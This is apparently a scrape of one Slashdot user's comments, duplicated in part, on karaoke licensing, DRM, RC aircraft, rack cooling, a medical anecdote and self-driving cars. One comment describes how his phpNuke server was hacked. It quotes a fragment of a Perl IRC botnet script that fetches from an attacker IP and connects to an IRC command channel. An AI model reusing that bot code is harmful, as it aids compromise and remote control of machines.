I was pitching the idea of an online karaoke store to a karaoke label. Conversation went something like this;
me: "DRM will always be cracked, folks will find a way around, why bother?" him: "It makes the labels comfortable" Me: "Yah but the cats out of the bag, its open season on the net for filesharers" him: "I like to quote my locksmith friend, locks aren't supposed to keep criminals out, they're supposed to keep honest people in"
I should have come back with "Oh so you think everyones dishonest do you?", but nah, I liked this guy.
Not that it will ever happen in our lifetime for audio files, but there will be some advancement in audio that will only be avaliable on DRM, it's only a matter of time. Maybe it will be some newfangled 42 channel lossless surround sound that we haven't even concieved of yet.
At some point, all these files floating around for free on the net are going to start sounding pretty crappy, and the DRM files will be the only ones that will be the MUST HAVE rage.
I sort of picture christmas with the family. I'm sitting there showing off some non DRM linux based audio juke that I can ssh into, compile my kernel on and browse the newsgroups, and my grease mechanic uncle will pull out the "Microwhore pocket media" device that straps to your chin and transmits 52 channel DRM audio through your jawbone. No matter how cool it is to other geeks I can run seti@home on my linux based juke, it won't matter to the other family members all pressing the micropoop to their chins and salivating from a near orgasmic audio experience.
This has been brought up a lot of times about OSS, GNU, linux stuff in general. We're going to be assed out when it happens, back here on slashdot complaining about the lack of linux driver support for playing back these drm audio.
DVD Jon will fly in wearing a blue leotard, red boots, red cape, and a tux logo in a diamond on his chest. He'll break the DRM again, we'll be happy for a while, but the rest of the consumer market will go on.
Smart people, tech savvy people are in the minority. I hate to say this, but it's true. Most of the world buys what the TV tells them to.
I love flying Electric RC stuff. One of the major considerations for an RC power system is weight, which is why NIcd is going out, and LiPo is all the rage now.
The article was really scant on details, does anyone know approximately what the weight of this device will be? Will fuel cells be able to replace typical LiPo batteries in RC aircraft?
PS, typing this live from my Karaoke show, stop by and say hi:)
For the same price I can get a Spinblade Heli from Radio Shack, and it's a real flying heli with a real motor (vs a model of a motor)
Not to grouse, but in the last year there has been a lot of companies offering RTF aircraft for under $100, I think slash should do a story on a few of them since it's so close to christmas.
Not quite the same as samples, but Winamp creator Justin Frankel made Ninjam which allows musicians to participate in a near real time jam session over the net. The Jam Farm on ninjam has plenty of tracks all under the creative commons license.
I've been buggin slash editors on several karaoke / tech related stories for a while now (yes I know, grousing about rejected submissions, blah blah) Still sort of ontopic, but the karaoke twist makes it more fun.
Our bar pays Ascap/BMI/Sesac for the right to use backing tracks in a public/business enviroment. It's not just backing tracks we're paying for, we're paying for the rights to the composition.
These 3 licensing agencies started years and years ago during the advent of the player piano. A player piano was sort of the "midi" file of it's time. You could faithfully reproduce any artists rendition of their compilation if you had the reels. Artists started feeling robbed when player piano companies started basically, selling their compilations without their permission.
Back then, artists got paid to play, but if someone could just buy a player piano reel, what was the point?
Fast forward to today and my problems with karaoke.
I stream video live from the bar I work at. If you have winamp, or mplayer windows running under wine on linux you can check it out here.
My problem is this. If someone sings over the original artists compilation, is it still the original? Why should I have to pay a licensing agency for something that is totally different from the original (once someone has sung over it)
The closest I can find to why I shouldn't is a special section of the US copyright law that deals with parody and derivitave works.
So summarizing, I don't think the license agencies will see it any different for midi files. They don't see it any different for karaoke, despite some of the singers being so far off tempo and key, that it could be considered a parody.
I'm a broke geek. I host my website on a machine on a machine in my house. Last few weeks i've caught my machine being used for zombie purposes. Attack vector was a vulerability in phpnuke.
Let me explain "why I use that holy peice of shit"
The website has a decent sized community. It's also going to be a pain in the butt transferring to something else (i'm thinking vbulletin) and i've never had a problem before the recent round of nuke upgrades. 3 according to the advisories the only patch is to get off phpnuke (again, wonderful)
So today the website freezes up again. Thanks to the fact that i'm dot com broke now I basically sit here all day updating my forums, reading other forums, getting up ocassionally to warm up a microwave burrito and wait for the day Bill Gates makes all of us former window admins disapear to redmond in the great microsoft rapture of 2006.
Ok.. SSH into the machine. Same as before, same exploit.
poo:~# ls/tmp -al total 20 drwxrwxrwt 5 root root 4096 Nov 6 14:55. drwxr-xr-x 22 root root 4096 Sep 16 14:38.. drwxrwxrwt 2 www www 4096 Nov 6 09:40 r0nin drwxrwxrwt 2 root root 4096 Nov 6 09:40 bot.txt drwxr-xr-x 2 root root 4096 Nov 6 10:00 enviar.pl
Oh you sons of bitches, you done gone fucked with an admin with nothing better to do than to track you down. I firewalled off port 80, copied the offending files out of tmp and change permissions. Googling revealed r0nin is some kind of shell server. Since 80 and 22 are the only ports open to this machine, they would run it on 80, crashing my website.
Then I looked at enviar.pl. It was just a stupid email script. Nothing notable.
Finally I looked at bot.txt.
# IRC my @adms=("bigfirex"); #nick dos administradores my @canais=("#testebot"); use LWP::Simple; my $dados=get("http://66.185.162.241/...fusao/nick/in dex.php"); my $nick=$dados; # nick do bot.. c o nick jah estiveh em uso.. vai aparece com um numero radonamico no final my $ircname = $dados; chop (my $realname = `uname -n`); $servidor='irc.igs.ca' unless $servidor; #servidor d irc q vai c usadu c naum for especificado no argumento my $porta='6667'; #porta do servidor d irc
Ahh here it got interesting. I now had a IRC channel, with a room name. I tried connecting, but my machine was banned from the irc server.
I ended up ssh'ing to a customer account I had running at he.net, and firing up BitchX from there. A few minutes later I was in the chatroom #testebot with our magical master of ceremonies "bigfirex"
I sat there for a while seeing folks pop in and out. I asked the room "could you tell me exactly how you're exploiting my machine and would you please not do it again?" No answer from bigfirex.
I decided to ask an IRCop for help. Surely seeing the evidence (I could have provided him shorewall and apache logs) he would take immidiate action banning this guy from the network.
I did a/who 0 and found an IRC op from IGS.ca Below is a log of the chat I had with him.
[msg(elsif)] hi are you an ircop? [elsif(jake@admin.igs.ca)] sure [msg(elsif)] someone on your network hacked my webserver and installed a bot, i tracked them back to here [msg(elsif)] The bot is being run by a user named.bigfirex. in a channel called #testebot. [elsif(jake@admin.igs.ca)] sucky. you do know that he.net runs a server on this network, irc.he.net? [msg(elsif)] actually im just using a shell i have there, the ip for my comprimised machine was banned from this
network [elsif(jake@admin.igs.ca)] k. I don't know what I can really do for you. I don't know that person and all. [elsif(jake@admin.igs.ca)] lots of machines are compromised with ircbot trojans that come here in order to get their
Was the p-233 laptop I picked up for $30. I slapped a $7 wireless card on it, removed the hinge and put it in a picture frame. I use it at the karaoke bar I work at so singers know when they're coming up.
The article points out that overhead cooling requires additional fans, etc.
Racks need to be built more like refridgerators. Foamcore/fiberglass insulated with some nice weatherstripping to create a chamber of sorts. Since the system would be near sealed, convection currents from the warm air exaust rising off the servers in the rack would pull cold air down. Cold air goes in through the bottom of the rack, heats up, gets pushed back through the top. This could probably all be done with regular old clothes dryer hosing.
Fans wouldn't even be needed. Most racks aren't designed to be an airtight system though. Every rack cabinet i've ever worked on was holier than the pope. My experience with raised floors made me think they were purely for running tons of cable without making the ceiling look like a spiders nest.
The only way this comment has something to do with the story is it's copyright related. I guess it could be interesting.
Anyways, I run a karaoke show a few nights a week. For those that aren't familiar with karaoke, most of it is produced in a format called CDG. It's exactly the same as a regular audio CD, but the subcode section that is normally set aside for seeking and disk position has a few extra bits crammed onto it for the graphic display.
Fair use is there for audio CD's. We're allowed to copy them for backup or playback on an ipod. Because karaoke CDG's contain the lyrical video element, they are not considered purely an "Audio" CD.
The place I work at, it was sort of a needed evil. Our DKK set of karaoke CDG's was over 10 years old, and DKK no longer produces CDG's. There was no way for us to get a replacement set at all. Through 10 years of use, the CDG's were damn near unusable, prompting us to spend a week using a disk doctor to polish up and recover what we could, and transfer them to the computer in mp3+g format.
I've been doing this since 2001, before that I was a sysadmin for 10 years or so. I read slash religiously so I'm pretty well informed from the multitude of YRO articles on copyright, as well as software licesning issues. I maintain a strict no piracy policy at the club because I know what could happen if we were found to be pirating.
I don't really care about googles copyright issues. As much as we all love google, personally I find what they're doing to be in the gray area of copyright. My issue with karaoke CDG's is something personal, and I hope other slashdotters can give me some advice or insight into anything that can be done so there is a clear definition in law that personal backup of ones CDG's is fair use, and covered under fair use laws.
Sorry about the reply to my comment, I accidentally enclosed some of my comment in tags. Guess it will teach me to use the preview button more.
So back to what I was saying.
Gimmicks like competition doesn't bring a karaoke crowd. I've seen too many shows over the years just go into failure because the KJ didn't know what they were doing, and tried relying on gimmicks like cash prizes and just bullshit.
In Japanese karaoke shows, you clap for everyone no matter how bad. You don't heckle, boo or pass judgement on the karaoke singer. It's a big part of why karaoke has been so successful in japan, because the unspoken karaoke ettiquite makes everyone feel welcome in an enviroment free from competition. Basically, everyone is considered a part of the "show" and the KJ is just the facilitator.
For some reason here in the USA karaoke is seen more like a miniature american idol. We have contests, cash prizes, and all kinds of bullshit that just scares people away from it.
Finally, bars are notoriously CHEAP. Every club / bar owner is about the cheapest person you will ever meet, and i've met a lot of them. The idea of having to buy special drink coasters, along with a computer, and god knows what else to know if the beer is empty is a lot more work and expense than just having a waitress wander around the room looking for empty glasses.
Now tune into my show and say high, and again sorry about the reply to my own parent post.
Sure there are karaoke competitions, nothing quite the caliber of what was portrayed in Duets with Lewis and Paltro. Competition does not follow traditional Japanese karaoke style, and is nothing more than a gimmick by desperate KJ's to attract customers
First, let me tell folks who I am before my expertise in karaoke and tech stuff. I'm toqer, I broadcast my karaoke show over the internet via winampTV. I've won award after award for my shows in addition to having an article in the New York Times.
http://www.7bamboo.com/nyt1.htm http://www.7bamboo.com/nyt2.htm http://www.7bamboo.com/chat.html KARAOKE IS HARDCORE!!! --toq
I grew up on several orchards as a kid. We were pretty much encouraged to wander the cherry, prune orchards from the age of 6 and shoot anything that moves.
There's other devices for scaring off varmints. Natural predators like hawks, percussion guns, dogs, sprinkler systems connected to motion detectors, but nothing quite as eleborate and precise as this.
The only downside I see it that the BB's aren't biodegradable, but why do they have to be made out of plastic? Perhaps a system that delivers fertalizer pellets and or water. That way you would be scaring off birds as well giving the plants nutrients.
This may have been a crazy tangent of a post, but I'm just throwing out a possible commercial app for this if folks are looking for it.
Graphically and gameplay wise, there is no line between home and arcade systems anymore. They've more than caught up to each other.
Arcades still have a huge lead when it comes to input devices. A few examples.
Dance Dance Revolution and it's varients. Just about any cockpit driving game. Spy Scope (Konami light gun game with a scope)
I can't really remember all the names off hand, but in the arcade intuitive controls is the game. You got games with replica harley davidsons, jet ski's, hang gliders and even futuristic battle pods from which you do mech battle.
I don't think nintendo is taking any kind of a gamble with the revolution controller. They know intuitive control is what has kept the arcade alive for so long and they're following suit.
somewhere? I can't recall exactly when, maybe 3-4 years ago, but I seem to recall another open source 808 emulator being shut down by propellerheads and then pulled from sourceforge for being "too close" in UI design to rebirth.
Not that it isn't a good thing propellerheads is doing by giving it away for free, but shutting down open source projects (this was even mentioned on slash) is a bad thing for everyone in the long run. How about releasing your source propellerheads? Re-birth is about as old as Quake3, if Id can do it, so can you.
I hate to comment on my own comment to bitch about moderation, but I noticed a few comments below mine stating that it should be downmodded.
Look, this is what happened to me. Like it or not. The comment came from my heart, formed by my own personal experience. Sure, it's gory, sure it's detailed, but this is exactly what happens to folks when bacterial infections happen. Boils form on the skin, and in the crotch area, this makes for a very debilitating condition. Like I said, I had the luxery of my house, soldiers in Iraq don't have the same immenities that I have.
Just a follow up, after this happened my wife and I started buying anti bacterial soap. Since then, I haven't had so much as a zit on my legs. Before the boil, I showered every day but with regular old soap. Regular soap just isn't enough to prevent this from happening. Just one juicy bit of info I read on antibacterial soaps, you have to leave them on the skin for at least 2 minutes for the active ingredient to work.
So please mods, don't downmod my parent post. It was completely on topic and showed the dangers of bacterial infections of the crotch. Thank you.
The site I have the pictures on is down, but hopefully I can give a detailed enough explanation of what happened to me last year to make folks realize the importance of anti bacterial undies.
I was sittin on the toilet one day and noticed a swollen ingrown hair to the right of my right testicle. I tried to pluck the hair out, followed by squeezing the little bastard. Nothing was coming out, so I said, "fuck it" and just left it at that.
During the week, it developed from an ingrown hair to a very painful boil. It got to the point where I could hardly walk anymore and had to see the doctor.
Soon as the doctor saw it, he said "We're going to have to lance it". Kaiser usually doesn't give out painkillers if they can avoid it (once had a broken toe and they refused me pain meds) Luckily I had a male doctor, and I think that fact made him more sympathetic to my pain.
He numbed the spot up, then poked the spot with a scalpel, probably going in about 2-3 centimeteres, followed by some very painful squeezing to get all the crap out of the bacterial playground that had formed next to my nutsack.
I thought that was it, but nope. The doctor said "We have to leave a wick in there so it heals right" A wick? WTF? Basically a wick is a peice of cotton gauze stuck in the hole where the boil used to be. This prevents the opening of the wound from sealing up, and allows the hole to heal from the bottom up.
For the next month, I had to make daily trips to kaiser to have the wick removed, and replaced. The first wick was over a foot in length! Every week the wicks got shorter and shorter until they finally told me it no longer needed a wicking.
I can totally see these types of bacterial infections knocking out a soldier for a month. For me, I could not walk without popping 2 or 3 vicodin after they inserted the wick. At least I had the luxery of my house, high speed internet, and cable TV (not much interneting during this ordeal, as it was very hard to sit)
Will cars that drive themselves mean no more DUI's
on
The Future of the Car
·
· Score: 1
You any your buddies have just spent a night drinking. Nobody was nice enough to be the designated driver, and everyones broke from buying rounds of drinks (so no taxi)
Cop see's your car, driving normally, but you're asleep at the wheel. He pulls you over, starts giving the DUI tests. Touch your nose while standing on one foot, recite the alphabet backwards, touch your fingers, etc. You're obviously smashed.
Are you really driving drunk though? All you did was tell the car "take me home".
When cars do start driving themselves, i'm sure this argument will be fought out plenty of times in court. Judges will probably be prone to "let the law stand" as it goes as to not set a precedent.
I know in California (where I live) technically, having your keys in the ignition while intoxicated is considered by the state to be "driving while intoxicated" even if the motor is off. The law varies from state to state though, some states don't actually consider it operating a motor vehicle until you actually turn the ignition key and put the car in drive(such as texas).
I can't wait to see how this all pans out. Good food for thought.
Slashdot Mirror
I was pitching the idea of an online karaoke store to a karaoke label. Conversation went something like this;
me: "DRM will always be cracked, folks will find a way around, why bother?"
him: "It makes the labels comfortable"
Me: "Yah but the cats out of the bag, its open season on the net for filesharers"
him: "I like to quote my locksmith friend, locks aren't supposed to keep criminals out, they're supposed to keep honest people in"
I should have come back with "Oh so you think everyones dishonest do you?", but nah, I liked this guy.
Not that it will ever happen in our lifetime for audio files, but there will be some advancement in audio that will only be avaliable on DRM, it's only a matter of time. Maybe it will be some newfangled 42 channel lossless surround sound that we haven't even concieved of yet.
At some point, all these files floating around for free on the net are going to start sounding pretty crappy, and the DRM files will be the only ones that will be the MUST HAVE rage.
I sort of picture christmas with the family. I'm sitting there showing off some non DRM linux based audio juke that I can ssh into, compile my kernel on and browse the newsgroups, and my grease mechanic uncle will pull out the "Microwhore pocket media" device that straps to your chin and transmits 52 channel DRM audio through your jawbone. No matter how cool it is to other geeks I can run seti@home on my linux based juke, it won't matter to the other family members all pressing the micropoop to their chins and salivating from a near orgasmic audio experience.
This has been brought up a lot of times about OSS, GNU, linux stuff in general. We're going to be assed out when it happens, back here on slashdot complaining about the lack of linux driver support for playing back these drm audio.
DVD Jon will fly in wearing a blue leotard, red boots, red cape, and a tux logo in a diamond on his chest. He'll break the DRM again, we'll be happy for a while, but the rest of the consumer market will go on.
Smart people, tech savvy people are in the minority. I hate to say this, but it's true. Most of the world buys what the TV tells them to.
Remember the tron lightcycles? It wouldn't have to be realtime like the original, maybe just turn based with the goal of trapping your opponents in.
I must have the two confused then, but either way LiPo is definetly in for electric RC due to its high amp output and low weight.
I love flying Electric RC stuff. One of the major considerations for an RC power system is weight, which is why NIcd is going out, and LiPo is all the rage now.
:)
The article was really scant on details, does anyone know approximately what the weight of this device will be? Will fuel cells be able to replace typical LiPo batteries in RC aircraft?
PS, typing this live from my Karaoke show, stop by and say hi
He may have missed the mark with CO2, but cows produce 65 to 85 Tg of methane gas a year (which according to the EPA.gov is a greenhouse gas)
For the same price I can get a Spinblade Heli from Radio Shack, and it's a real flying heli with a real motor (vs a model of a motor)
Not to grouse, but in the last year there has been a lot of companies offering RTF aircraft for under $100, I think slash should do a story on a few of them since it's so close to christmas.
My daughter was born November 14th this year (few days/weeks ago).
:)
I work nights. My wow habits used to kind of make my wife worried, but now I just follow the routine.
Play wow for 2 hours.
Change diaper
Feed 2oz breastmilk
burp
Change diaper again if needed.
My wife think's i'm such a good father
--toqer
Even cooler than that is Justin's Jesusonic, a programmable DSP that works with ASIO (almost all sound cards can be made to work with an ASIO mixer) Not to mention it works on mac, pc,*nix varients and is free.
Not quite the same as samples, but Winamp creator Justin Frankel made Ninjam which allows musicians to participate in a near real time jam session over the net. The Jam Farm on ninjam has plenty of tracks all under the creative commons license.
I've been buggin slash editors on several karaoke / tech related stories for a while now (yes I know, grousing about rejected submissions, blah blah) Still sort of ontopic, but the karaoke twist makes it more fun.
Our bar pays Ascap/BMI/Sesac for the right to use backing tracks in a public/business enviroment. It's not just backing tracks we're paying for, we're paying for the rights to the composition.
These 3 licensing agencies started years and years ago during the advent of the player piano. A player piano was sort of the "midi" file of it's time. You could faithfully reproduce any artists rendition of their compilation if you had the reels. Artists started feeling robbed when player piano companies started basically, selling their compilations without their permission.
Back then, artists got paid to play, but if someone could just buy a player piano reel, what was the point?
Fast forward to today and my problems with karaoke.
I stream video live from the bar I work at. If you have winamp, or mplayer windows running under wine on linux you can check it out here.
http://205.188.215.229:8014/listen.pls
My problem is this. If someone sings over the original artists compilation, is it still the original? Why should I have to pay a licensing agency for something that is totally different from the original (once someone has sung over it)
The closest I can find to why I shouldn't is a special section of the US copyright law that deals with parody and derivitave works.
http://www.publaw.com/parody.html
So summarizing, I don't think the license agencies will see it any different for midi files. They don't see it any different for karaoke, despite some of the singers being so far off tempo and key, that it could be considered a parody.
I'm a broke geek. I host my website on a machine on a machine in my house. Last few weeks i've caught my machine being used for zombie purposes. Attack vector was a vulerability in phpnuke.
/tmp -al . ..
/who 0 and found an IRC op from IGS.ca Below is a log of the chat I had with him.
.bigfirex. in a channel called #testebot.
Let me explain "why I use that holy peice of shit"
The website has a decent sized community. It's also going to be a pain in the butt transferring to something else (i'm thinking vbulletin) and i've never had a problem before the recent round of nuke upgrades. 3 according to the advisories the only patch is to get off phpnuke (again, wonderful)
So today the website freezes up again. Thanks to the fact that i'm dot com broke now I basically sit here all day updating my forums, reading other forums, getting up ocassionally to warm up a microwave burrito and wait for the day Bill Gates makes all of us former window admins disapear to redmond in the great microsoft rapture of 2006.
Ok.. SSH into the machine. Same as before, same exploit.
poo:~# ls
total 20
drwxrwxrwt 5 root root 4096 Nov 6 14:55
drwxr-xr-x 22 root root 4096 Sep 16 14:38
drwxrwxrwt 2 www www 4096 Nov 6 09:40 r0nin
drwxrwxrwt 2 root root 4096 Nov 6 09:40 bot.txt
drwxr-xr-x 2 root root 4096 Nov 6 10:00 enviar.pl
Oh you sons of bitches, you done gone fucked with an admin with nothing better to do than to track you down. I firewalled off port 80, copied the offending files out of tmp and change permissions. Googling revealed r0nin is some kind of shell server. Since 80 and 22 are the only ports open to this machine, they would run it on 80, crashing my website.
Then I looked at enviar.pl. It was just a stupid email script. Nothing notable.
Finally I looked at bot.txt.
# IRC
my @adms=("bigfirex"); #nick dos administradores
my @canais=("#testebot");
use LWP::Simple;
my $dados=get("http://66.185.162.241/...fusao/nick/in dex.php");
my $nick=$dados; # nick do bot.. c o nick jah estiveh em uso.. vai aparece com um numero radonamico no final
my $ircname = $dados;
chop (my $realname = `uname -n`);
$servidor='irc.igs.ca' unless $servidor; #servidor d irc q vai c usadu c naum for especificado no argumento
my $porta='6667'; #porta do servidor d irc
Ahh here it got interesting. I now had a IRC channel, with a room name. I tried connecting, but my machine was banned from the irc server.
I ended up ssh'ing to a customer account I had running at he.net, and firing up BitchX from there. A few minutes later I was in the chatroom #testebot with our magical master of ceremonies "bigfirex"
I sat there for a while seeing folks pop in and out. I asked the room "could you tell me exactly how you're exploiting my machine and would you please not do it again?" No answer from bigfirex.
I decided to ask an IRCop for help. Surely seeing the evidence (I could have provided him shorewall and apache logs) he would take immidiate action banning this guy from the network.
I did a
[msg(elsif)] hi are you an ircop?
[elsif(jake@admin.igs.ca)] sure
[msg(elsif)] someone on your network hacked my webserver and installed a bot, i tracked them back to here
[msg(elsif)] The bot is being run by a user named
[elsif(jake@admin.igs.ca)] sucky. you do know that he.net runs a server on this network, irc.he.net?
[msg(elsif)] actually im just using a shell i have there, the ip for my comprimised machine was banned from this
network
[elsif(jake@admin.igs.ca)] k. I don't know what I can really do for you. I don't know that person and all.
[elsif(jake@admin.igs.ca)] lots of machines are compromised with ircbot trojans that come here in order to get their
Was the p-233 laptop I picked up for $30. I slapped a $7 wireless card on it, removed the hinge and put it in a picture frame. I use it at the karaoke bar I work at so singers know when they're coming up.
= article&sid=212
http://www.7bamboo.com/modules.php?name=News&file
--toq
I thought hot air rises, cold air falls.
The article points out that overhead cooling requires additional fans, etc.
Racks need to be built more like refridgerators. Foamcore/fiberglass insulated with some nice weatherstripping to create a chamber of sorts. Since the system would be near sealed, convection currents from the warm air exaust rising off the servers in the rack would pull cold air down. Cold air goes in through the bottom of the rack, heats up, gets pushed back through the top. This could probably all be done with regular old clothes dryer hosing.
Fans wouldn't even be needed. Most racks aren't designed to be an airtight system though. Every rack cabinet i've ever worked on was holier than the pope. My experience with raised floors made me think they were purely for running tons of cable without making the ceiling look like a spiders nest.
The only way this comment has something to do with the story is it's copyright related. I guess it could be interesting.
Anyways, I run a karaoke show a few nights a week. For those that aren't familiar with karaoke, most of it is produced in a format called CDG. It's exactly the same as a regular audio CD, but the subcode section that is normally set aside for seeking and disk position has a few extra bits crammed onto it for the graphic display.
Fair use is there for audio CD's. We're allowed to copy them for backup or playback on an ipod. Because karaoke CDG's contain the lyrical video element, they are not considered purely an "Audio" CD.
http://www.ipjustice.org/karaokefairuse.shtml There is an article on IP justice that theorizes copying your own legitimate karaoke CDG's is legal. On the other end of the spectrum there is KAPA http://www.karaokeantipiracyagency.com/ who is trying to outlaw folks from copying their CDG's to their hard drives.
The place I work at, it was sort of a needed evil. Our DKK set of karaoke CDG's was over 10 years old, and DKK no longer produces CDG's. There was no way for us to get a replacement set at all. Through 10 years of use, the CDG's were damn near unusable, prompting us to spend a week using a disk doctor to polish up and recover what we could, and transfer them to the computer in mp3+g format.
I've been doing this since 2001, before that I was a sysadmin for 10 years or so. I read slash religiously so I'm pretty well informed from the multitude of YRO articles on copyright, as well as software licesning issues. I maintain a strict no piracy policy at the club because I know what could happen if we were found to be pirating.
I don't really care about googles copyright issues. As much as we all love google, personally I find what they're doing to be in the gray area of copyright. My issue with karaoke CDG's is something personal, and I hope other slashdotters can give me some advice or insight into anything that can be done so there is a clear definition in law that personal backup of ones CDG's is fair use, and covered under fair use laws.
--toqer
Sorry about the reply to my comment, I accidentally enclosed some of my comment in tags. Guess it will teach me to use the preview button more.
So back to what I was saying.
Gimmicks like competition doesn't bring a karaoke crowd. I've seen too many shows over the years just go into failure because the KJ didn't know what they were doing, and tried relying on gimmicks like cash prizes and just bullshit.
In Japanese karaoke shows, you clap for everyone no matter how bad. You don't heckle, boo or pass judgement on the karaoke singer. It's a big part of why karaoke has been so successful in japan, because the unspoken karaoke ettiquite makes everyone feel welcome in an enviroment free from competition. Basically, everyone is considered a part of the "show" and the KJ is just the facilitator.
For some reason here in the USA karaoke is seen more like a miniature american idol. We have contests, cash prizes, and all kinds of bullshit that just scares people away from it.
Finally, bars are notoriously CHEAP. Every club / bar owner is about the cheapest person you will ever meet, and i've met a lot of them. The idea of having to buy special drink coasters, along with a computer, and god knows what else to know if the beer is empty is a lot more work and expense than just having a waitress wander around the room looking for empty glasses.
Now tune into my show and say high, and again sorry about the reply to my own parent post.
Sure there are karaoke competitions, nothing quite the caliber of what was portrayed in Duets with Lewis and Paltro. Competition does not follow traditional Japanese karaoke style, and is nothing more than a gimmick by desperate KJ's to attract customers
First, let me tell folks who I am before my expertise in karaoke and tech stuff. I'm toqer, I broadcast my karaoke show over the internet via winampTV. I've won award after award for my shows in addition to having an article in the New York Times.
http://www.7bamboo.com/nyt1.htm http://www.7bamboo.com/nyt2.htm http://www.7bamboo.com/chat.html KARAOKE IS HARDCORE!!!
--toq
I grew up on several orchards as a kid. We were pretty much encouraged to wander the cherry, prune orchards from the age of 6 and shoot anything that moves.
There's other devices for scaring off varmints. Natural predators like hawks, percussion guns, dogs, sprinkler systems connected to motion detectors, but nothing quite as eleborate and precise as this.
The only downside I see it that the BB's aren't biodegradable, but why do they have to be made out of plastic? Perhaps a system that delivers fertalizer pellets and or water. That way you would be scaring off birds as well giving the plants nutrients.
This may have been a crazy tangent of a post, but I'm just throwing out a possible commercial app for this if folks are looking for it.
Graphically and gameplay wise, there is no line between home and arcade systems anymore. They've more than caught up to each other.
Arcades still have a huge lead when it comes to input devices. A few examples.
Dance Dance Revolution and it's varients.
Just about any cockpit driving game.
Spy Scope (Konami light gun game with a scope)
I can't really remember all the names off hand, but in the arcade intuitive controls is the game. You got games with replica harley davidsons, jet ski's, hang gliders and even futuristic battle pods from which you do mech battle.
I don't think nintendo is taking any kind of a gamble with the revolution controller. They know intuitive control is what has kept the arcade alive for so long and they're following suit.
somewhere? I can't recall exactly when, maybe 3-4 years ago, but I seem to recall another open source 808 emulator being shut down by propellerheads and then pulled from sourceforge for being "too close" in UI design to rebirth.
Not that it isn't a good thing propellerheads is doing by giving it away for free, but shutting down open source projects (this was even mentioned on slash) is a bad thing for everyone in the long run. How about releasing your source propellerheads? Re-birth is about as old as Quake3, if Id can do it, so can you.
Anyways, end rant.
2 comments, both below my threshhold and the article has been here for a good 5 minutes.
Yah geek blogging is dead.
They'll cancel you fast.
Dude you just totally made me crack up at work :D
I hate to comment on my own comment to bitch about moderation, but I noticed a few comments below mine stating that it should be downmodded.
Look, this is what happened to me. Like it or not. The comment came from my heart, formed by my own personal experience. Sure, it's gory, sure it's detailed, but this is exactly what happens to folks when bacterial infections happen. Boils form on the skin, and in the crotch area, this makes for a very debilitating condition. Like I said, I had the luxery of my house, soldiers in Iraq don't have the same immenities that I have.
Just a follow up, after this happened my wife and I started buying anti bacterial soap. Since then, I haven't had so much as a zit on my legs. Before the boil, I showered every day but with regular old soap. Regular soap just isn't enough to prevent this from happening. Just one juicy bit of info I read on antibacterial soaps, you have to leave them on the skin for at least 2 minutes for the active ingredient to work.
So please mods, don't downmod my parent post. It was completely on topic and showed the dangers of bacterial infections of the crotch. Thank you.
--toq
The site I have the pictures on is down, but hopefully I can give a detailed enough explanation of what happened to me last year to make folks realize the importance of anti bacterial undies.
:) http://www.scvi.net/activex/tv19.htm
I was sittin on the toilet one day and noticed a swollen ingrown hair to the right of my right testicle. I tried to pluck the hair out, followed by squeezing the little bastard. Nothing was coming out, so I said, "fuck it" and just left it at that.
During the week, it developed from an ingrown hair to a very painful boil. It got to the point where I could hardly walk anymore and had to see the doctor.
Soon as the doctor saw it, he said "We're going to have to lance it". Kaiser usually doesn't give out painkillers if they can avoid it (once had a broken toe and they refused me pain meds) Luckily I had a male doctor, and I think that fact made him more sympathetic to my pain.
He numbed the spot up, then poked the spot with a scalpel, probably going in about 2-3 centimeteres, followed by some very painful squeezing to get all the crap out of the bacterial playground that had formed next to my nutsack.
I thought that was it, but nope. The doctor said "We have to leave a wick in there so it heals right" A wick? WTF? Basically a wick is a peice of cotton gauze stuck in the hole where the boil used to be. This prevents the opening of the wound from sealing up, and allows the hole to heal from the bottom up.
For the next month, I had to make daily trips to kaiser to have the wick removed, and replaced. The first wick was over a foot in length! Every week the wicks got shorter and shorter until they finally told me it no longer needed a wicking.
I can totally see these types of bacterial infections knocking out a soldier for a month. For me, I could not walk without popping 2 or 3 vicodin after they inserted the wick. At least I had the luxery of my house, high speed internet, and cable TV (not much interneting during this ordeal, as it was very hard to sit)
--toq
OH Ps, im typing this live while i'm at work at the karaoke bar, watch the live stream here and say hi
You any your buddies have just spent a night drinking. Nobody was nice enough to be the designated driver, and everyones broke from buying rounds of drinks (so no taxi)
Cop see's your car, driving normally, but you're asleep at the wheel. He pulls you over, starts giving the DUI tests. Touch your nose while standing on one foot, recite the alphabet backwards, touch your fingers, etc. You're obviously smashed.
Are you really driving drunk though? All you did was tell the car "take me home".
When cars do start driving themselves, i'm sure this argument will be fought out plenty of times in court. Judges will probably be prone to "let the law stand" as it goes as to not set a precedent.
I know in California (where I live) technically, having your keys in the ignition while intoxicated is considered by the state to be "driving while intoxicated" even if the motor is off. The law varies from state to state though, some states don't actually consider it operating a motor vehicle until you actually turn the ignition key and put the car in drive(such as texas).
I can't wait to see how this all pans out. Good food for thought.